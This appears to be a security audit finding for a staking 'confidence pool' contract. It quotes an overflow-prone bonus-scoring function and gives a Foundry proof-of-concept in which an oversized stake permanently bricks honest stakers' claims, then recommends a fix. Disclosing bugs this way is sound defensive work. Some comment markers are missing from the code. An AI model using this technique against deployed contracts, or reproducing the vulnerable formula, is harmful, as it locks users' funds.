Normally, stakers should be able to recover their principal and bonus after the pool resolves.
function _bonusShare(
address u,
uint256 userEligible
) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
uint256 userPlus =
T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus =
2 * T * userSumStakeTime[u];
uint256 userScore =
userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus =
T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus =
2 * T * snapshotSumStakeTime;
uint256 globalScore =
plus > minus ? plus - minus : 0;
if (globalScore == 0) {
return Math.mulDiv(
userEligible,
snapshotTotalBonus,
snapshotTotalStaked
);
}
return Math.mulDiv(
userScore,
snapshotTotalBonus,
globalScore
);
}
The PoC shows that a sufficiently large stake can poison the global k=2 score, allowing a zero-stake address to finalize the pool while permanently blocking every real staker’s claim.
pragma solidity 0.8.26;
import {stdError} from "forge-std/StdError.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolK2OverflowPoCTest is BaseConfidencePoolTest {
function test_largeStakePermanentlyBricksExpiredPool() external {
uint256 entryTime = block.timestamp;
uint256 endTime = uint256(pool.expiry());
uint256 denominator =
endTime * endTime
+ entryTime * entryTime;
* This total stake is large enough for the two positive
* expanded terms to overflow when added together:
*
* totalStake * T² + totalStake * t²
*
* Each individual term and the mathematically correct compact
* score can still fit inside uint256.
*/
uint256 targetTotalStake =
type(uint256).max / denominator + 1;
uint256 honestStake =
targetTotalStake / 3;
uint256 maliciousStake =
targetTotalStake - honestStake;
* Honest value locked is greater than the attacker's stake,
* showing that this is not only attacker self-harm.
*/
uint256 honestBonus =
maliciousStake * 2;
_stake(alice, honestStake);
_contributeBonus(carol, honestBonus);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
* Every value needed by the mathematically correct score fits
* independently.
*/
assertLe(
targetTotalStake
* entryTime
* entryTime,
type(uint256).max
);
assertLe(
targetTotalStake
* endTime
* endTime,
type(uint256).max
);
uint256 elapsed =
endTime - entryTime;
assertLe(
targetTotalStake
* elapsed
* elapsed,
type(uint256).max
);
* However, _bonusShare() first adds the two expanded positive
* terms. This intermediate result cannot fit inside uint256.
*/
assertGt(
targetTotalStake,
type(uint256).max / denominator
);
_stake(bob, maliciousStake);
assertEq(
pool.totalEligibleStake(),
targetTotalStake
);
assertGt(
honestStake + honestBonus,
maliciousStake
);
* A non-staker can finalize the pool as EXPIRED without
* executing _bonusShare(), because claimExpired() returns early
* when eligibleStake[msg.sender] is zero.
*/
vm.warp(endTime);
vm.prank(dave);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.EXPIRED)
);
assertTrue(pool.claimsStarted());
* Alice has a normal position, but her claim reverts because
* Bob's stake poisoned the global score calculation.
*/
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
* Withdrawals are unavailable after the outcome has been
* finalized.
*/
vm.prank(alice);
vm.expectRevert(
IConfidencePool.OutcomeAlreadySet.selector
);
pool.withdraw();
* The moderator cannot re-flag the outcome after the
* permissionless EXPIRED resolution sets claimsStarted.
*/
vm.prank(moderator);
vm.expectRevert(
IConfidencePool.OutcomeAlreadySet.selector
);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
* All principal and bonus remain reserved, so the recovery
* sweep cannot move anything.
*/
vm.expectRevert(
IConfidencePool.NothingToSweep.selector
);
pool.sweepUnclaimedBonus();
assertEq(
token.balanceOf(address(pool)),
targetTotalStake + honestBonus
);
}
}
Cap the total stake so the expanded terms can never overflow. A better long-term fix would be to use timestamps relative to riskWindowStart, instead of squaring full Unix timestamps.